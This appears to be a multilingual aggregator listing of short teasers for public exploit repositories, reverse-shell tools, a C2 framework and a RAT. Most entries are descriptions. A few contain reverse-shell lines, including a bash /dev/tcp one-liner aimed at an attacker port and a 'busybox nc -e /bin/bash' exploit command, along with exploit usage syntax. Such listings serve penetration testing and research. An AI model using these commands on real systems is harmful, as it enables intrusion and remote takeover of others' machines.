cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp...

CVE-2019-11447_reverse_shell_upload

CVE-2019-11447 CuteNews 2.1.2 Загрузка обратной оболочки Слегка модифицированная версия Mt-Code POC, которая запускает полноценную обратную оболочку reverse shell, а не веб-оболочку. Этот эксплойт использует известную PentestMonkey PHP Reverse Shell. Установка pip install -r requirements.txt Прим...

c2-cloud

프로젝트 소개 C2 Cloud는 침투 테스터의 작업을 간소화하도록 설계된 강력한 웹 기반 C2 프레임워크입니다. AWS 클라우드에서 EC2 인스턴스에 접속하는 것처럼 손쉽게 손상된 백도어에 접근할 수 있습니다. 사용자 친화적인 인터페이스로 여러 개의 동시 백도어 세션을 관리할 수 있습니다. C2 Cloud는 오픈 소스입니다. 보안 분석가는 안심하고 시뮬레이션을 수행하여 귀중한 경험을 쌓고 조직의 사전 예방적 방어 태세에 기여할 수 있습니다. 지원되는 리버스 셸: 1. 리버스 TCP 2. 리버스 HTTP 3. 리버스 HTTPS ...

CVE-2021-43936

CVE-2021-43936 CVE-2021-43936은 WebHMI 펌웨어에서 원격 코드 실행RCE으로 이어지는 치명적인 취약점CVSS3 10.0입니다. 이 취약점은 버전 4.0 및 최신 버전에서 동작합니다. 4.0.7475에서만 테스트되었습니다. 스크립트는 다음 단계로 취약점을 이용합니다: 1. 애플리케이션에 로그인합니다. 2. PHP 코드 실행 스크립트를 업로드합니다. 3. 리버스 셸 페이로드를 전송합니다. NIC가 둘 이상 연결되어 있으면 익스플로잇이 실패할 수 있습니다. 해결 방법은 다시 한 번 시도하는 것입니다. 사용...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC PoC Script Name: poc.py A proof-of-concept exploit script for CVE-2025-1302, which targets an RCE vulnerability in the jsonpath-plus library. When run against a vulnerable service endpoint, the script attempts to trigger remote code execution via a JSONPath...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE via Lua Injection Author: 0xgh057r3c0n 🧠 Description This exploit leverages a Lua injection vulnerability in Wing FTP Server 's login handler loginok.html to execute arbitrary operating system commands or gain a reverse shell. It abuses unsanitized Lua code...

rsg

Генератор обратных оболочек - rsg Инструмент для генерации различных способов создания обратной оболочки Пример использования Ресурсы по обратным оболочкам http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html...

rsg

Reverse Shell Generator - rsg A tool to generate various ways to do a reverse shell Usage example Reverse Shell fonts http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet...

XeytanWxCpp-RAT

경고 이 프로젝트는 아직 개발 초기 단계입니다. 현재 애플리케이션의 외관은 형편없으며, 이상한 버그첫 번째 TODO 항목, 아래 참조가 있어서 ASAP으로 수정해야 합니다. 소개 wxWidgets 프레임워크를 사용하여 C++로 작성된 RAT 애플리케이션입니다. 기능 클라이언트 시스템 정보 얻기. 프로세스 목록 리버스 셸 파일 시스템 탐색 TODO 이상한 버그가 있습니다. 해결 방법을 모르겠습니다. 단계별 실행 중에는 트리거되지 않지만, 앱을 그냥 실행하면 발생합니다. 이는 전형적인 경합 조건 버그의 징후이지만 해결 방법을...

xc

XC Linux 및 Windows용 Netcat 스타일 리버스 셸. 특징 Windows root@kitploit: 사용법: └ 공통 명령어: !exit !upload 대상에 파일을 업로드합니다 !download 대상에서 파일을 다운로드합니다 !lfwd 로컬 포트 포워딩 ssh -L과 유사 !rfwd 원격 포트 포워딩 ssh -R과 유사 !lsfwd 활성 포워딩 목록을 출력합니다 !rmfwd 인덱스로 포워딩을 제거합니다 !plugins 사용 가능한 플러그인 목록을 출력합니다 !plugin 플러그인을 실행합니다 !spawn 지정된...

xc

XC Netcat like reverse shell for Linux & Windows. Features Windows root@kitploit: Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active...

xll_windows_reverse_shell

xllwindowsreverseshell xll 윈도우 리버스 셸 공격자Kali 머신에서: root@kitploit: git clone https://github.com/n3rdh4x0r/xllwindowsreverseshell.git 1. revsh.ps1을 업데이트하세요. 2. python http 서버를 생성합니다. root@kitploit: python3 -m http.server 9999 공격자Windows 머신에서: 1. notpadXLL.c를 Windows 공격자 머신으로 이동하고 그에 맞게 notpadXLL.c를...

Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 — Удалённое выполнение кода RCE в Pluck CMS v4.7.18 Описание Этот скрипт эксплуатирует уязвимость удалённого выполнения кода RCE в Pluck CMS v4.7.18. Уязвимость позволяет злоумышленнику загрузить вредоносный PHP-файл на сервер и выполнить его, получив удалённое выполнение команд на...

CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC 면책 조항 저는 이 취약점을 발견한 사람이 아니며, 그에 대한 공로를 인정하지 않습니다. 이는 CTF를 위해 이 취약점을 보다 쉽게 악용하기 위해 제가 작성한 스크립트일 뿐입니다. 원본 정보는 다음을 참고하세요: https://github.com/c53elyas/CVE-2023-33733 이 스크립트는 CVE-2023-33733을 악용하기 위한 간단한 Python3 스크립트입니다. 호스트, 포트, 명령어 및 유효한 세션 쿠키를 제공해야 합니다. 도움말 메뉴 root@kitploit:...

CVE-2019-17558_Solr_Vul_Tool

Solr Velocity模板注入漏洞检测工具 Описание инструмента В конце октября 2019 года была обнаружена уязвимость удаленного выполнения команд через инъекцию Velocity-шаблонов в Solr. Ручное обнаружение этой уязвимости требует многократного перехвата и изменения запросов в Burp, что неэффективно. Был написан это...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 Reverse Shell Python3 support Dependancies Impacket python3 version Netcat Msfvenom Usage root@kitploit: git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604는 CISA의 KEV 목록에 등재된 널리 악용되는 취약점입니다. 이 go-exploit 구현체는 Nashorn 페이로드를 사용하여 대상에서 리버스 셸을 실행하거나, 대상에 바이너리를 다운로드하여 실행할 수 있습니다. 컴파일 익스플로잇을 도커 이미지로 빌드하려면 간단히: root@kitploit: make docker Go 빌드 환경이 준비되어 있다면 make를 사용해도 됩니다: root@kitploit:...

CVE-2025-24893

Reverse shell for CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" upgrade the shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2022-1388

CVE-2022-1388 RCE, 리버스 셸 및 PCAP 자동 내보내기 -- 교육용으로만 사용하세요 -- 저자는 이 프로젝트/저장소의 어떤 측면과 관련하여 취해진 모든 행동에 대해 책임을 지지 않습니다. 저는 이 공격을 이해하고 SIEM 내에서 탐지 규칙을 작성하는 목적으로 이 도구를 만들었으며, 다른 사람들도 동일한 작업을 할 수 있도록 공유하고자 합니다. 사용에 따른 책임은 본인에게 있습니다. 이 익스플로잇은 F5 Systems의 BIG-IP iControl REST 취약점 CVE-2022-1388을 대상으로 합니다. 영향...

CVE-2023-38831_ReverseShell_Winrar-RCE

WINRARの脆弱性CVE-2023-38831を悪用したリバースシェルの取得 このリポジトリでは、WinRARの脆弱性CVE-2023-38831を悪用して、被害者のWindowsマシンから攻撃者のKali Linuxマシンへリバースシェルを取得する方法を紹介します。 事前準備 このリポジトリのコンテンツをダウンロードします： 次に、この脆弱性を悪用するために必要なPythonの依存関係を以下のコマンドでインストールします： root@kitploit: pip install rarce 準備...